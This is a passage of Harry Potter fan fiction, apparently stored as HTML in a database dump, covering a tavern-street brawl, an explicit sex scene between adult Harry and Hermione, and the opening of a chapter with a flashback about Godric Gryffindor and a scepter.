&#8220;He was quite rude too if you ask me, just\nassuming any young lady was available.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Oliver rolled his eyes, &#8220;Darrius Kent\nhere is always harassing the women of Camelot.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh you know they want it Wood.&#8221; Darrius was confident.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione scoffed, &#8220;Yeah like they want a disease.&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry chuckled softly at her comment yet put his right arm\naround her waist protectively, while Oliver leaned in closer to Harry, &#8220;He&#8217;s\nnot really interested in her. I wouldn&#8217;t worry. He&#8217;s just an ass.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Darrius was glaring at Hermione for her comment, &#8220;Such a\nsmart mouth you have on you girl.&#8221; His glare vanished but was replaced with a horrid\ngrin. &#8220;I bet with a mouth like that you give great head.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry&#8217;s left hand clinched at his side at hearing such a\nvulgar remark, and Oliver looked ready to jump Darrius as well.&nbsp; Harry and Oliver would have acted if Hermione\nhadn&#8217;t beaten them to it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well you&#8217;ll never get to find out you insignificant prat.&#8221; Hermione smirked and pulled on Harry&#8217;s arm signaling\nto leave.&nbsp; &#8220;Come on Harry let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry glared as he, Hermione and Oliver started walking away\nfrom Darrius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Darrius snapped his fingers and his two goons followed in\nstep as he decided to follow after those three.&nbsp;\nIt was true he wasn&#8217;t interested in that girl but it was fun to rile\nthem up, he hadn&#8217;t been in a fight in a while and he was itching to cause\none.&nbsp; He figured the best way to get to\nthem was to insult the girl.&nbsp; &#8220;So what&#8217;s\nthe bitch like? I bet she&#8217;s a screamer.&#8221; Darrius shouted to them causing Harry\nto stop in his tracks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione looked at Harry with concern when she saw his fists\nclenched at his sides, all the blood seemed to have left his hands, as they\nwere completely white. &#8220;Just ignore him Harry, they&#8217;re just words they can&#8217;t\nhurt us.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded stiffly and they continued walking away, but\nDarrius still followed them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;She looks like the type who likes it rough, perhaps a\nlittle smacking around.&nbsp; With tail like\nthat she probably likes to take it up the ass.&#8221; He said with a smirk on his\nface as he envisioned himself doing just that to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Both Harry and Oliver spun glaring at Darrius while Hermione\nwas just trying to ignore him.&nbsp; She\nwasn&#8217;t going to let him get to her; she knew he was just saying those things to\nmake a scene.&nbsp; It was the same thing he\ndid with Patrice and her boyfriend in the tavern earlier this afternoon.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Shut up.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;The truth is she was all over the men in the tavern this\nafternoon.&#8221; Darrius folded his arms across his chest. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">That&#8217;s it; she could take insults but that was a down right\nlie.&nbsp; &#8220;Why you filthy liar,&#8221; Hermione\nshouted. &#8220;I did nothing of the sort, the most I did was ignore you, you\ntoad.&nbsp; It was you who throwing yourself\nat Julie and Patrice.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m just trying to save you some dignity,&#8221; Darrius said to\nHarry.&nbsp; &#8220;Well maybe you don&#8217;t want to\nkeep your dignity since your probably screwing this innocent looking whore.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Darrius didn&#8217;t have time to smirk for Harry&#8217;s fist connected\nwith his jaw sending Darrius sprawling backwards, but he managed to keep his\nbalance. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I thought I told you to shut up.&#8221; Harry said firmly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Darrius glared while touching his lip with the back of his\nhand and wiped the thick red blood from the side of his mouth. He looked down\nat the blood on his hand, &#8220;You&#8217;re going to pay for that.&#8221;&nbsp; He turned to his goons &#8220;Get him.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They both nodded and descended on Harry, just as they\nreached him Oliver shot out his foot which tripped one of the goons causing\nboth of them to fall on top of each other in front of Harry, Hermione and\nOliver.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It looks like they enjoy taking it up the ass.&#8221; Harry said\nwith a chuckle, Hermione and Oliver too had joined in on the laughing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Darrius took off and rammed full and hard into Harry\nknocking him to the ground. The two of them wrestled around on the ground, both\nHarry and Darrius both got in several good punches. Both Oliver and Hermione\ntried to pull Darrius off of Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione and Oliver both reached for her wands but Harry had\na similar idea and already held his in his hand pointing it at Darrius and\nshouted &#8220;Stupefy!&#8221; Darrius fell unconscious.&nbsp;\nOliver then pulled the unconscious jerk from off of Harry and left him\nlying in the dirt.&nbsp; The three of them\ncontinued walking heading towards Caleb&#8217;s inn.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You really don&#8217;t need to take anything that jerk says\nseriously Harry.&#8221; Oliver said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I will not stand around when someone, anyone, insults\nsomeone I love. They can insult me all they want but if they bring someone I\ncare about into it, I will defend them.&#8221;&nbsp;\nHarry said sounding very heroic without realizing it, he turned looking\nat Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh, my hero.&#8221; She said in a corny\ndamsel in distress tone while clasping her hands together against her chest\ndramatically and batting her eyelashes.&nbsp;\nThe three of them broke into a huge fit of hysterical laughter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Any time my lady.&#8221; Harry bowed like a gentleman, which\ncaused another round of laughter to erupt from them.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They stopped in front of the inn. &#8220;Well Harry, Hermione,&#8221;\nOliver smiled. &#8220;It was fun seeing you two again.&nbsp; I hope you two got what you came for and if I\ndon&#8217;t see you before you leave tomorrow I wish you the best of luck.&nbsp; Give my regards to the Weasleys.&#8221;&nbsp; He held out his hand and Harry grabbed it in\na strong handshake.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Thanks Oliver and yes it has been fun.&#8221; Harry said with a\nsmile then letting go of Oliver&#8217;s hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Oliver then leaned in giving Hermione a small hug, which for\nsome reason caused his stomach to do flip-flops.&nbsp; &#8220;Well you two try and stay out of\ntrouble.&#8221;&nbsp; He pulled back from Hermione&#8217;s\narms and felt a sudden loss when he saw Harry and Hermione clasp hands.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Thanks for showing us around Oliver.&#8221; Hermione said with a\nsmile and she and Harry started walking inside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Oliver watched as the two of them disappeared behind the now\nclosed door of the inn, he sighed with disappointment as he turned slowly and\nheaded back towards his home, alone.&nbsp; He thought\na moment and wondered what Julie was doing tonight, his mood perked up when he\ndecided to pay a visit to the tavern and visit his favorite tavern keeper&#8217;s\ndaughter and not to mention a damn good Quidditch Chaser. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry opened the door to their room and they stepped inside\nhe closed the door behind them.&nbsp; The dim,\nlight crystals lit up giving the room a soft glow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well this was an interesting day.&#8221; Harry said he watched as\nHermione roughly flopped down on the bed she tucked her legs underneath her,\nstaring up at the ceiling.&nbsp; She looked so\nbeautiful amidst her dark blue velvet, which was billowed out around her.&nbsp; He walked over and sat down on the edge of\nthe bed next to her also staring up at the ceiling.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione turned glancing about Harry&#8217;s face.&nbsp; She lifted her finger pressing lightly at the\nsmall bruise that formed on his cheek.&nbsp;\n&#8220;Does that hurt?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;A little,&#8221; he then smirked. &#8220;Especially\nsince you&#8217;re poking it with your finger.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She pressed her lips softly against his bruise. &#8220;There, is\nit better now?&#8221; Hermione smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded with a grateful smile, &#8220;it&#8217;s so much better\nnow.&#8221; He lifted his hand to his other cheek, &#8220;this one over here is a bit\npainful too.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione lifted her head looking at his other cheek, &#8220;I\ndon&#8217;t see anything.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He touched the side of his face, &#8220;Ow.&#8221;\nHarry said touching the spot. &#8220;It&#8217;s there, it is still forming. But it does\nhurt.&#8221; He poked his finger into his cheek. &#8221;Ow, ow. See?&#8221; He glanced\nat her innocently, making a face of slight pain.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She leaned over him and gave his other bruise a small,\ngentle kiss. &#8220;There.&#8221; Hermione said with a smile.&nbsp; She knew what he was up to, but she played\nalong.&nbsp; It was fun.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ouch, there&#8217;s one here too.&#8221;&nbsp; He pointed to another spot on the side of his\nneck.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Really?&#8221; Hermione replied with concern.&nbsp; She leaned in and pressed her lips to the\nside of his neck, her mouth opened a little as she suckled on his sensitive\nskin there.&nbsp; He closed his eyes as\ndelight at feeling her mouth against his skin.&nbsp;\nHis breathing increased as she moved her mouth slowly up and down his\nneck.&nbsp; She pulled back a little and his\neyes opened. She caught his gaze.&nbsp; &#8220;I\nthink I see one more bruise.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;And where might it be?&#8221; He said finding his voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Right here,&#8221; Hermione said then leaned in covering his\nmouth with hers.&nbsp; Her mouth pressed\nharder against his as the tip of her tongue sought out and touched his timidly\nwith growing confidence, while her tongue was stroking against his slowly as\nshe deepened the kiss causing his senses to soar.&nbsp; She explored the warmth and feel of his\nmouth; hearing him moan softly.&nbsp; Her arms\nwent around him pulling his body against hers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry pulled his mouth from hers and found her gaze; she was\nstaring at him.&nbsp; He lifted a hand cupping\nher cheek tenderly, he traced her lips with his index finger while his other\nhand reached up into her hair and pulled the pins out that kept it up, and he\nwatched as her glorious tresses cascaded down her shoulders and framed her\nface.&nbsp; Harry took a deep breath then brought\nhis mouth against hers and kissed her, her lips parted allowing him access. His\ntongue teased and caressed hers with such vigor that her arms tightened around\nhim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione felt the need of his warmth and body growing with\nin her as she pressed her mouth more urgently against his.&nbsp; While he was kissing her, his thumb caressed\nher cheek for a moment then his hand began drifting downward and his fingertips\nleaving a trail of tingles down her neck.&nbsp;\nHis mouth left hers only to kiss where his fingers had been. He kissed\ndown the trail coming to rest against her collarbone and linger there a moment.\nHarry heard her moan softly as his palms gently drifted down her velvet bodice\nover her breasts, coming to the satin silver string that kept it together.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He stopped kissing her neck and lifted his eyes to hers, his\ngaze captured hers he looked for any indication not to keep going,&nbsp; &#8220;Do you&#8212;&#8221; Harry was cut off by her mouth upon\nhis and his question faded from his mind.&nbsp;\nShe reached up and removed his glasses from his face and having to\nregretfully break the kiss, she turned slightly putting them on the nightstand\nby the bed.&nbsp; Hermione then turned facing\nhim again and touched her lips to his.&nbsp;\nReaching down she grasped his hands in hers and flattened his palms\nagainst the spot just above her breasts.&nbsp;\nHermione started pushing them downward telling him where she wanted his\ntouch.&nbsp; His hands glided down the soft\nvelvet covering over her breasts, she gasped.&nbsp;\nHer heart lurched and her chest tightened as he rubbed the material in\nhis palms against her breasts. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;It wasn&#8217;t enough he\nwanted to feel her soft skin and she wanted to feel his hands upon her.&nbsp; Harry&#8217;s fingers drifted lower where he pulled\nthe little satin string at the base of her bodice and the little bow that kept\nthe garment together came loose.&nbsp; She was\nbreathing hard as she felt the string leave each loop, which would leave her a\nlittle more revealed. He pressed his lips to against her jaw line and to the\nside of her neck where she tilted her head back a bit giving him more access to\nher.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione felt his fingers under the thick straps of her\nbodice and he lifted and pushed the clothing off and it slid down her\narms.&nbsp; The cool air hit her as she\nshivered and his mouth covered over hers again.&nbsp;\nIt was an interesting feeling as she was pulled against him feeling the\nsoft velvet of his robes against her bare breasts, it felt slightly erotic and\nit caused her heart to speed up and she returned his kiss with just as much\npower as her own tongue thrust hard into his mouth, their tongues meeting in a\nduel for control.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">While still kissing her, Harry shifted a bit and his hand\nwandered down covering over her warm, firm breast causing her to gasp loudly\ninto his mouth and to press herself into his hand more.&nbsp; Pleased in her response he began to tease the\nsensitive tip causing her again to cry out her pleasure and toss her head back.\nHe pressed her down against the mattress where he kissed the hollow of her\nthroat. Moving downward, his right hand caressed the top of her breast and\ntrailed his fingers lightly over her silky soft skin, and she arched her\nback.&nbsp; His left hand was creating the\nsame amount of exquisite torture as his right.&nbsp;\nHis finger lightly circled around the sensitive tip, causing her to\nthrash about.&nbsp; His palm covered over the\nroundness as she pushed herself more into his hand. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry&#8217;s mouth danced about her neck and throat, slowly and\nteasingly down her body.&nbsp; He reached one\nbreast and gently closed his mouth over the hardened tip while holding it\ngently in between his lips he let his tongue flick against it. Her pulse\nquickened as she felt the hot need of desire control her,\nshe let out a strangled moan as her fingers intertwined in his thick raven hair\npressing his mouth harder against her.&nbsp;&nbsp;\nHe moved over doing the same thing with her other breast, paying an\nequal amount of attention so that no part of her was left untouched or tasted. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He lifted his head his mouth covering upon hers once again\nas he felt her hands work the buttons on his robes in her urgency to feel his\nskin on hers.&nbsp; Hermione quickly tore his\nclothing from his body and flattened her palms against his chest.&nbsp; He heard her sigh with her contentment at the\nfeel of him.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione scraped her fingernails gently down his chest and\nwatched him shiver in pleasure.&nbsp; Harry\ntook in a short, ragged breath.&nbsp; She\npushed him off her and rolled him over so that he was on his back.&nbsp; Hermione straddled his hips so that she was\nsitting on top of him.&nbsp; She lowered her\nmouth to his giving him a demanding, potent kiss.&nbsp; She then let her mouth trail down his chin\nalong his neck lingering there a moment lightly nipping the skin with her\nteeth, he groaned feeling her lightly biting him then suckling on the tender\nflesh there, she heard his cry and the sound of her name escape his lips in\ncomplete bliss at the sensation she had just created. Hermione&#8217;s lips continued\nto wander downward then pressing her mouth it against his chest, she let her\ntongue lightly caress his skin in small circular motions then wander back up\ntowards his mouth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Her left hand grazed over the button of his pants, she\nwanted to touch and feel him. She met his gaze and he saw the question in her\neyes.&nbsp; Harry nodded and her slender\nfingers quickly undid the buttons and her hand dipped inside closing around\nhim. Hermione&#8217;s eyes drifted closed and her lips formed a tiny smile as she\nheard him moan and his breathing became rough while her hand stroked him.&nbsp; Harry&#8217;s eyes squeezed shut at the wonderful\nsensations her hand on him was creating. He breathed out her name in longing\nalmost begging her not to tease him like this.&nbsp;\nBut he loved the feel of himself held in her hand, his urgency to be\nburied with in her was becoming too much to bear.&nbsp; He needed her now, he needed to feel her\nwrapped intimately around him and screaming his name in a fit of wild\nunrestrained passions. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry&#8217;s hands cupped the back of her neck and pulled her\nmouth down hard against his, where they held no restraint as their mouths\nattacked each other&#8217;s.&nbsp;&nbsp; He then rolled\nher over again so that she was beneath him once more and removed the long skirt\nthat was in his way as well as his restricting pants.&nbsp; Harry shifted causing her thighs to part and\nlay between them.&nbsp; His hand caressed up\nher thigh over coming in contact with her sex, and his fingers stroking the\nsilky folds, inserting one finger in and her breath caught and she let out a\ntiny squeak as he was caressing and teasing her sensitive button with his thumb\nand he inserted another finger, which thrust in and out of her in slow\nagonizing motions. Hermione&#8217;s body met the rhythm of his fingers as she pressed\nrocked her hips against his hand against him, her need for him growing at an\nalarming rate. Her own urgency of wanting to feel him inside her, she cried out\nloud as his fingers continued to stroke the fire burning within her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He pulled his fingers from her and while his mouth returned\nto hers he positioned himself against her entrance.&nbsp; Harry pulled his mouth from hers gazing\nintently into her eyes, then gently eased a path inside her. It was still the\nmost beautiful look she gave when he first entered her.&nbsp; Seeing Hermione&#8217;s eyes wide with the\nrealization of her love and the need of her desires being met at the same time,\nwas enough to cause him to bend down and kiss her.&nbsp; He would never get tired of seeing the enchanting\nlook as they joined together as one person.&nbsp;\nHarry heard her gasp out loud and her hands grip his shoulders pulling\nhis body down tightly against her.&nbsp;\nHermione wrapped her long, slender legs around his hips attempting to\npull him in more deeply as he began to move himself in and out of her with\ngentle yet powerful thrusts, pushing in stretching her softness so that it fit\naround him.&nbsp; He was pressing hot\nlingering, open mouth kisses to her shoulder, neck, as he thrust inside of\nher.&nbsp; Hermione met the powerful movements\nof his body as the heat kept on gathering and reaching a new height of her\nneed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione rotated her hips; clinging tightly to him and\nclosing around him ever so often like a silk glove as he pressed in deep.&nbsp; Harry gasped, his eyes closed drawing in a\nragged breath and thrust in, again and again pushing her higher, he heard her\npanting and crying out her the sounds she made filled the room like a beautiful\nsymphony.&nbsp; He filled her completely; he\nheld her gaze so intently until she could no longer keep her eyes open from the\namount of sensations that enveloped her.&nbsp;\nHarry was still bringing her higher towards the heavens and watched her\nalmost violently thrashing about beneath him.&nbsp;\nIt was so beautiful.&nbsp; So\nempowering that it caused him to drive even harder into her giving her what she\nwanted.&nbsp; Her legs tightened about his\nwaist as did her arms around his neck.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Her mouth was attacking his and her tongue kept thrusting\nhard into his mouth just as his body thrust hard and deeply into her.&nbsp; After a few moments of kissing him without\nany restraint Hermione ripped her mouth from his only to cry out her desire;\nburying her face in between his neck and shoulder. Harry could feel that they\nwere both about to reach their edge as her body hugged about him tighter and\ntighter. He actually cried out at the feeling of her clinging to him was so raw\nand so hot that he might not be able to hold back.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">It happened, at the same time Hermione back arched her head tossed\nback so far as she screamed her pleasure as the earth moving, shattering\nrelease swept over her. Her mind numb and senses reeling, and with one last\npowerful plunge into her soft, hot body his cry of release also filled the room\nthe sweet melody of their voices mingled together.&nbsp;&nbsp; Her arms were still tightly holding him to\nher as collapsed on top of her, resting his forehead on her chest just above\nher breasts.&nbsp; Their breathing was ragged\nas their hearts struggled to gain control.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s fingernails trailed up and down his smooth back\nas he just lay there listening to the sound of her heart that belonged\ncompletely to him and his to her.&nbsp; He\nlifted his head gazing down at her; her eyes were filled with such devotion and\nwere also very pleased, as they still seemed glazed over.&nbsp; They sparkled with a radiant light and he\nlowered his mouth to hers kissing her slowly.&nbsp;\nHarry rolled off of her leaving the soft haven of her body and pulled\nher over so that she was lying on his chest.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She traced the muscles in his chest with a gentle finger, as\nhe glanced down at the top of her head.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Did I ever tell you how beautiful you are?&#8221; Harry said; his\nvoice came out in a soft whisper.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;She lifted her head a\nlittle, so she could look at him with a gentle smile playing upon her\nlips.&nbsp; &#8220;Tell me again.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry smirked, &#8220;You are the most beautiful witch I have ever\nknown. I love everything about you, your beautiful long legs.&#8221; His fingers\ntrailed up and down her thigh. &#8220;Your beautiful slender hips.&#8221;\nHis fingers wandering up her hips, &#8220;The beautiful curve of your&#8212;&#8221; Hermione cut\noff his words with a gentle kiss.&nbsp; His\narms wrapped around her, holding her so tightly.&nbsp; She pulled her mouth from his and watched him\nas his eyes opened and he looked up at her.&nbsp;\nHer fingers touched his cheek, dancing lightly about his skin and\nreached up into his hair so she could play in his dark, thick strands.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She enjoyed as his eyes closed to the wonderful feelings of\nher fingers up in his hair.&nbsp; Harry felt\nhimself relax starting to fall into a restful slumber, he wanted to stay awake\nbut it was nearly impossible.&nbsp; Hermione\nwatched him as he drifted off to the world of his dreams.&nbsp; His face took on a peaceful, innocent\nlook.&nbsp; Hermione pulled her fingers\nregretfully from his hair and nestled herself against his chest a little\nmore.&nbsp; She grabbed for the blanket and\npulled it up and over them.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Her eyes closed and she too met the God of Slumber, but this\ntime welcomed him with an open heart.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">======</p>\n\n<p class="MsoNormal">So what did you all think of that chapter, bet you didn&#8217;t\ncount on Oliver Wood as the Quidditch coach. Haha!&nbsp; Well stay tuned for Chapter 22&#8212;Salazar\nSlytherin</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(41, 22, ' <p>Disclaimer: Alright all the Harry Potter characters belong to J.K. Rowlings, except for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai, Finley and Orvin.&nbsp; Those are mine. So please don&#8217;t sue me because I don&#8217;t have anything ;)</p>\n\n<p><b>(IMPORTANT A/N!!!!): alright just to warn you all, this chapter is going to be very violent, and Lucius Malfoy is very, very cruel, when he inflicts pain it gives him pleasure.&nbsp; There are certain things I have to do. Even though I didn&#8217;t want to, I still had to. It proves a valuable point.&nbsp; But if you don&#8217;t want to read it you don&#8217;t have too, in fact you might not want to continue reading after (I hope you want to continue reading) But you&#8217;ll be happy to know that this is as bad as it gets.&nbsp; The rest is tame compared to this chapter.&nbsp; You can skip this chapter if you want.&nbsp; It&#8217;s really gruesome. You will all find out what happens anyway in chapter 23 if you decide to skip this one.</b></p>\n\n<p><b>Anyway onto chapter 22</b></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>Chapter 22&#8212;Salazar Slytherin</p>\n\n<p><i>&#8220;They&#8217;ve lost their minds.&#8221; She said looking up at him.</i></p>\n\n<p><i>He leaned back in his chair, his fingers resting his chin in deep thought.&nbsp; &#8220;Jasmine, are you absolutely sure?&#8221; He asked.</i></p>\n\n<p><i>&#8220;Lord Gryffindor, I would not lie about something as serious as this.&#8221; She held out her diary to him.&nbsp; &#8220;I&#8217;ve written all down in here you can see it for yourself.&nbsp; I&#8217;ve witnessed them performing some of these spells.&nbsp; A while back Lord Slytherin confronted me, he asked me to help him by using the scepter.&nbsp; I told him no and he inflicted all kinds of tortures on me, both Muggle and magical.&nbsp; I&#8217;m surprised I didn&#8217;t break.&#8221;</i></p>\n\n<p><i>Godric nodded, &#8220;I know they are stronger together, and I myself have been suspicious of their acts before.&nbsp; But I didn&#8217;t think they would go that far so soon.&nbsp; And how and when are they finding the time to practice these spells, Slytherin is in hiding.&#8221;</i></p>\n\n<p><i>&#8220;I don&#8217;t know sir, but I am not going to be forced into using the scepter for their benefit; Torrin and I are going to Camelot to lock it in Merlin&#8217;s vault.&nbsp; Lord Gryffindor, we are not coming back.&nbsp; I can&#8217;t stay here any longer knowing what I know.&#8221; She felt a hand squeeze hers tenderly she turned her head looking at Torrin. </i></p>\n\n<p><i>Godric looked to his son knowing that this was probably the last time he was going to see him.&nbsp; He stood and approached Torrin, &#8220;Well son, I wish you the best of luck.&#8221; He threw his arms around him holding him tightly.&nbsp; &#8220;You take care of Jasmine and be careful out there.&#8221;</i></p>\n\n<p><i>&#8220;I will.&#8221; Torrin said as his father pulled back from him.</i></p>\n\n<p><i>There was a knock at the door and Rowena poked her head in, &#8220;Good day Godric is Jasmine 